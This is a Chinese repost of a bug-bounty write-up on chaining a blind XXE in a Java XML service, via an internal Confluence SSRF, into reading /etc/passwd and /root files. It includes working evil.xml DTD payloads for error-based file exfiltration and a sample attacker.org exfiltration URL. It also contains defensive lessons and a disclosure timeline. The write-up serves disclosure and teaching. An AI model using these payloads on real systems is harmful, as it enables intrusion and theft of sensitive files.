從Blind XXE漏洞到讀取Root文件的系統(tǒng)提權(quán)案例分析

這篇文章主要介紹了從Blind XXE漏洞到讀取Root文件的系統(tǒng)提權(quán)案例分析，具有一定借鑒價(jià)值，感興趣的朋友可以參考下，希望大家閱讀完這篇文章之后大有收獲，下面讓小編帶著大家一起了解一下。

*本文中涉及到的相關(guān)漏洞已報(bào)送廠商并得到修復(fù)，本文僅限技術(shù)研究與討論，嚴(yán)禁用于非法用途，否則產(chǎn)生的一切后果自行承擔(dān)。

在最近的漏洞眾測(cè)過(guò)程中，作者測(cè)試XXE漏洞時(shí)，遇到了一個(gè)有意思的XML服務(wù)端。該服務(wù)端在網(wǎng)上基本沒(méi)什么記錄和參考，唯一能找到相關(guān)的，只是一篇2016年初，某開(kāi)發(fā)人員應(yīng)用該服務(wù)端遇到困難時(shí)，尋求幫助的發(fā)貼。在以下文章中，作者分享了測(cè)試該服務(wù)端時(shí)的一些思路，最終，作者利用了一個(gè)中危漏洞的Blind XXE，發(fā)現(xiàn)了可讀取root級(jí)別文件的高危漏洞，成功實(shí)現(xiàn)了系統(tǒng)提權(quán)。

文中刻意著重描述了測(cè)試過(guò)程中遇到的各種錯(cuò)誤消息，希望對(duì)讀者有所啟發(fā)和幫助。另外，由于是邀請(qǐng)測(cè)試，出于保密，其中所有涉及服務(wù)端的可識(shí)別信息都已了作了隱匿處理。

一開(kāi)始的發(fā)現(xiàn)

起初，引起我注意的是一個(gè)響應(yīng)XML格式消息和404狀態(tài)的服務(wù)端，如下：

但當(dāng)我把請(qǐng)求方法更改為POST，且在其中添加了一個(gè) Content-Type: application/xml 這樣的頭，和一個(gè)無(wú)效的XML內(nèi)容體，之后，響應(yīng)消息多了一些有意思的變化，看似有點(diǎn)XXE的意思：

然而，當(dāng)添加進(jìn)入的是一個(gè)正常結(jié)構(gòu)的XML文檔之后，響應(yīng)消息有了更進(jìn)一步的變化：

請(qǐng)注意，服務(wù)端顯然希望提供密碼或憑據(jù)信息才能與其進(jìn)行正常交互，遺憾的是，當(dāng)前項(xiàng)目沒(méi)有任何文檔提及憑據(jù)的具體形式，而且我也沒(méi)找到任何有效的憑據(jù)信息。確實(shí)，之前我做過(guò)的一些XXE利用方式需要與目標(biāo)服務(wù)端進(jìn)行某些形式的“有效”交互，才能成功起效。所以，現(xiàn)在看來(lái)，沒(méi)有憑據(jù)，想要深入利用XXE漏洞就非常難了。

但是，雖然如此，我們也不必灰心。由于XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類(lèi)型定義和文檔元素信息，所以這里我們可以來(lái)測(cè)試一下 DOCTYPE 定義，看看服務(wù)端是否完全禁用了外部實(shí)體的應(yīng)用，或者試試其它有什么響應(yīng)。所以，我又接著構(gòu)造了以下包含DOCTYPE，且利用了Collaborator模塊進(jìn)行帶外測(cè)試的請(qǐng)求，并有了相應(yīng)響應(yīng)：

服務(wù)器無(wú)法對(duì)您的請(qǐng)求做出及時(shí)響應(yīng)。?。恐?，我又仔細(xì)在Burp Collaborator中的檢查了相關(guān)交互，迫切希望其中能發(fā)現(xiàn)一個(gè)傳入的HTTP請(qǐng)求，但是只看到了以下畫(huà)面：

非常不幸，服務(wù)端貌似可以解析我的burpcollaborator.net代理域名，但卻沒(méi)有出現(xiàn)HTTP請(qǐng)求，而且服務(wù)端在幾秒之后出現(xiàn)了500的超時(shí)響應(yīng)狀態(tài)。

這看似是服務(wù)端防火墻的作用了，我繼續(xù)針對(duì)其它端口進(jìn)行出站HTTP請(qǐng)求測(cè)試，但都無(wú)功而返。所有端口都會(huì)顯示超時(shí)，也就是說(shuō)目標(biāo)服務(wù)端部署的防火墻能成功阻斷所有非正常出站流量，安全防護(hù)做的還不錯(cuò)嘛！

實(shí)現(xiàn) Blind XXE

基于以上發(fā)現(xiàn)，我搗鼓一通，測(cè)試發(fā)現(xiàn)了一個(gè)問(wèn)題，但還不太確定，我只有通過(guò)嘗試訪問(wèn)一些本地文件、內(nèi)部網(wǎng)絡(luò)或相關(guān)服務(wù)，來(lái)證明它可能會(huì)是一個(gè)中危漏洞。

該漏洞問(wèn)題的影響是，我可以用它來(lái)成功探測(cè)目標(biāo)服務(wù)端上一些文件的存在性，如下：

響應(yīng)消息說(shuō)明了文件的存在可能，而且能被服務(wù)端的XML解析器正常打開(kāi)讀取，但由于文件內(nèi)容不是一個(gè)有效的XML文檔類(lèi)型定義，所以解析器解析失敗并拋出了一個(gè)錯(cuò)誤。換句話說(shuō)，服務(wù)端未禁用外部實(shí)體的加載，但我們卻沒(méi)看到任何輸出信息，所以，從這個(gè)角度來(lái)說(shuō)，這看似是一個(gè)Blind    XXE漏洞。

此外，我們可以假設(shè)服務(wù)端運(yùn)行的解析器是 Java 的 SAX解析器，因?yàn)閺捻憫?yīng)報(bào)錯(cuò)消息來(lái)看，它似乎和Java錯(cuò)誤類(lèi)  org.xml.sax.SAXParseExceptionpublicId 相關(guān)，這就有意思了，因?yàn)镴ava在XXE方面具備很多特性，之后我們會(huì)做講解。

當(dāng)我們構(gòu)造訪問(wèn)的文件在服務(wù)端不存在時(shí)，其響應(yīng)為：

OK，這看似是有用，但還不夠說(shuō)明問(wèn)題。我在想，能不能利用這個(gè)Blind XXE漏洞開(kāi)展一些對(duì)目標(biāo)服務(wù)端的原始端口探測(cè)掃描呢？如下：

這種方法不錯(cuò)，可行的話證明我們可以枚舉出目標(biāo)服務(wù)端的內(nèi)部服務(wù)，這雖然能反映些許問(wèn)題，但還不是我想要的效果。這樣的Blind XXE漏洞看似和Blind SSRF漏洞有些相同：可以發(fā)起對(duì)內(nèi)部服務(wù)的HTTP請(qǐng)求，但卻不能讀取響應(yīng)。

所以，我就好奇能不能用其它SSRF相關(guān)技巧來(lái)間接利用這個(gè)Blind XXE漏洞呢。先可以做的就是查看服務(wù)端的其它協(xié)議使用情況了，如https、gopher、ftp、jar、scp等等，雖然最終對(duì)這些協(xié)議的測(cè)試沒(méi)有實(shí)質(zhì)性的效果，但從服務(wù)端的錯(cuò)誤響應(yīng)消息中可以得到很多有用信息。如：

是不是很有意思，服務(wù)端能識(shí)別我們提供的使用協(xié)議，并做出錯(cuò)誤響應(yīng)。這個(gè)點(diǎn)可以先記下，以備后用。

因?yàn)楹虰lind SSRF漏洞的相似性，所以可以利用它來(lái)探測(cè)一些內(nèi)部Web服務(wù)。由于這家公司和非常廣泛多樣的開(kāi)發(fā)團(tuán)隊(duì)都有合作，并且在其Github開(kāi)發(fā)文檔中也涉及了大量形如x.company.internal樣式的內(nèi)部主機(jī)說(shuō)明，我發(fā)現(xiàn)目標(biāo)公司部署了如下的一些內(nèi)部服務(wù)資源：

wiki.company.internal

jira.company.internal

confluence.company.internal

由于之前的防火墻阻斷了我的出站流量，在這里，我想驗(yàn)證它是否會(huì)對(duì)內(nèi)部服務(wù)的流量進(jìn)行阻斷，或是這些內(nèi)部服務(wù)是否真的存在。

從以上響應(yīng)結(jié)果來(lái)看很有意思，可以看到報(bào)錯(cuò)消息說(shuō)明，我們請(qǐng)求的內(nèi)部資源被服務(wù)端讀取了，只被識(shí)別為錯(cuò)誤格式。也就是說(shuō)，內(nèi)部資源的讀取是被允許的，而且我們的請(qǐng)求也是有效的。

這就是厲害所在了，利用Blind XXE漏洞可以發(fā)起對(duì)目標(biāo)系統(tǒng)內(nèi)部Web服務(wù)的請(qǐng)求、枚舉文件存在可能、枚舉所有可能的運(yùn)行服務(wù)?；谶@些危害，我上報(bào)了漏洞。但當(dāng)我周末出外旅行時(shí)，我卻一直在思考這個(gè)漏洞，覺(jué)得應(yīng)該還有其它深入發(fā)現(xiàn)的可能性。

盲人國(guó)里,獨(dú)眼稱(chēng)王

經(jīng)過(guò)一個(gè)周末的休整和思路調(diào)整，我決定對(duì)這個(gè)Blind XXE漏洞再繼續(xù)深挖。尤其是，我意識(shí)到如果我能在目標(biāo)服務(wù)端內(nèi)部找到類(lèi)似代理作用的主機(jī)，就可以把未做安全過(guò)濾的內(nèi)部服務(wù)流量路由到外部來(lái)。

常來(lái)說(shuō)，要從無(wú)法讀取響應(yīng)的Web應(yīng)用中去發(fā)現(xiàn)漏洞相當(dāng)之難，但好在，早前社區(qū)披露過(guò)一個(gè)針對(duì)Jira應(yīng)用的SSRF漏洞，并已在多篇發(fā)文中提到過(guò)具體的利用方法。    

為此，我急切地想利用這個(gè)方法來(lái)映證我在Github上發(fā)現(xiàn)的目標(biāo)公司的Jira應(yīng)用：jira.company.internal，構(gòu)造的請(qǐng)求和對(duì)應(yīng)的響應(yīng)如下：

從響應(yīng)消息中可以看到，可能是SSL驗(yàn)證方式出錯(cuò)導(dǎo)致了HTTPS請(qǐng)求有問(wèn)題，另外，通常的Jira實(shí)例都是運(yùn)行在8080端口之上的，那么，我們就換成HTTP，加上8080端口試試：

然后，我查看了 Burp Collaborator 模塊的交互信息，并沒(méi)什么發(fā)現(xiàn)，可能是服務(wù)端的Jira實(shí)例打了補(bǔ)丁或是禁用了存在漏洞的插件。之后，我漫無(wú)目的地在wiki.company.internal上去找SSRF漏洞，最后，我決定在confluence.company.internal上嘗試一下和jira.company.internal相同的測(cè)試方法，只是我把測(cè)試端口換成了confluence應(yīng)用的默認(rèn)端口8090：

等等，這是什么？多了一個(gè)HTTP請(qǐng)求：

成功了！這樣就可以通過(guò)confluence實(shí)例，繞過(guò)防火墻限制，把內(nèi)部流量間接轉(zhuǎn)向外部了。也就意味著，我們可以在上面進(jìn)行一些經(jīng)典的XXE攻擊了。首先，我們構(gòu)造出一個(gè)如下內(nèi)容的惡意文件evil.xml，并把其托管在攻擊者服務(wù)器上，希望最終能觸發(fā)出有用的信息來(lái)。

<!ENTITY % file SYSTEM "file:///"><!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

讓我們來(lái)仔細(xì)看看上面這個(gè)文件的具體定義：

1、把外部引用（這里是系統(tǒng)的/目錄）加載到變量%file中來(lái)；

2、定義一個(gè)%ent變量，它只是起到一個(gè)穿插作用，目的在于編譯第三個(gè)實(shí)體定義；

3、嘗試在%file處訪問(wèn)資源，并將該位置的內(nèi)容加載到實(shí)體的data中。

注意，我們希望上述第3方面的定義執(zhí)行失效，因?yàn)?file處的內(nèi)容將不會(huì)指向一個(gè)有效的資源位置，而只是會(huì)包含完整的目錄內(nèi)容。

現(xiàn)在，利用confluence.company.internal這個(gè)內(nèi)部實(shí)例來(lái)指向我們的惡意文件evil.xml，并要保證其中的 %ent 和 &data 要能被訪問(wèn)到，以觸發(fā)目錄訪問(wèn)。太好了，響應(yīng)最終列出了服務(wù)端的所有目錄信息：

有意思的是，這顯示了另一種從服務(wù)端獲取錯(cuò)誤響應(yīng)的方法，即指定一個(gè)“missing”丟失的協(xié)議，而不是我們前面看到的無(wú)效協(xié)議。這也可幫助我們解決在讀取包含冒號(hào)的文件時(shí)遇到的問(wèn)題，例如用上述方法讀取/etc/passwd時(shí)會(huì)導(dǎo)致以下錯(cuò)誤:

換句話說(shuō)，第一次出現(xiàn)在冒號(hào):之前，是可以讀取文件的，但冒號(hào)之后的東西就不能再被讀取了。如何來(lái)繞過(guò)這一點(diǎn)并在響應(yīng)消息中顯示具體文件內(nèi)容呢？那就是在文件內(nèi)容之前加上一個(gè)冒號(hào)，這會(huì)導(dǎo)致出現(xiàn)“no protocol”錯(cuò)誤，因?yàn)槭讉€(gè)冒號(hào)之前的字段是空的，如未定義樣式。所以，我們?cè)诠粽叻?wù)器上的托管文件    evil.xml 可構(gòu)造如下：

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

最終的結(jié)果如下：

讀取/root目錄文件的結(jié)果：

就這樣，針對(duì)目標(biāo)公司系統(tǒng)，通過(guò)濫用不當(dāng)?shù)木W(wǎng)絡(luò)隔離措施、未打補(bǔ)丁的內(nèi)部應(yīng)用服務(wù)、未作權(quán)限配置的Web服務(wù)器和存在信息泄露的錯(cuò)誤響應(yīng)，我們就能從Blind XXE的中危漏洞，提權(quán)至可讀取root級(jí)別文件的高危漏洞，實(shí)現(xiàn)了對(duì)目標(biāo)系統(tǒng)的控制。

經(jīng)驗(yàn)總結(jié)

紅隊(duì)：

如果發(fā)現(xiàn)有意思的東西，就繼續(xù)深挖；

Java SAX解析器對(duì)URL模式的處理方式，存在一些提取有用信息的新方法。當(dāng)前流行的Java版本都不允許將多行文件通過(guò)外部HTTP請(qǐng)求（如http://attacker.org/?&file）方式竊取導(dǎo)出，但卻可能從一些錯(cuò)誤響應(yīng)消息甚至URL協(xié)議中，獲得一些目標(biāo)系統(tǒng)相關(guān)的多行響應(yīng)信息。

藍(lán)隊(duì)：

積極修補(bǔ)內(nèi)部服務(wù)系統(tǒng)存在的漏洞補(bǔ)?。?/p>

不能簡(jiǎn)單地把內(nèi)部網(wǎng)絡(luò)認(rèn)為是安全的，應(yīng)該做不同信任級(jí)別的劃分；

錯(cuò)誤消息應(yīng)該傳入錯(cuò)誤日志，而不是HTTP響應(yīng)中；

身份驗(yàn)證并不能有效緩解防護(hù)如XXE漏洞的安全問(wèn)題。

漏洞上報(bào)進(jìn)程

2018.11.26     發(fā)現(xiàn)有意思的XML服務(wù)端

2018.11.28    上報(bào)Blind XXE漏洞，風(fēng)險(xiǎn)在于可列舉文件、目錄、內(nèi)部網(wǎng)絡(luò)位置和服務(wù)端口

2018.12.3      發(fā)現(xiàn)存在漏洞的內(nèi)部Confluence應(yīng)用服務(wù)器，上報(bào)測(cè)試PoC視頻，演示了讀取根目錄文件

2018.12.4      公司漏洞修復(fù)并發(fā)放漏洞賞金

2018.12.6      申請(qǐng)對(duì)該測(cè)試的文章披露

2018.12.12     獲得批準(zhǔn)

感謝你能夠認(rèn)真閱讀完這篇文章，希望小編分享的“從Blind XXE漏洞到讀取Root文件的系統(tǒng)提權(quán)案例分析”這篇文章對(duì)大家有幫助，同時(shí)也希望大家多多支持億速云，關(guān)注億速云行業(yè)資訊頻道，更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!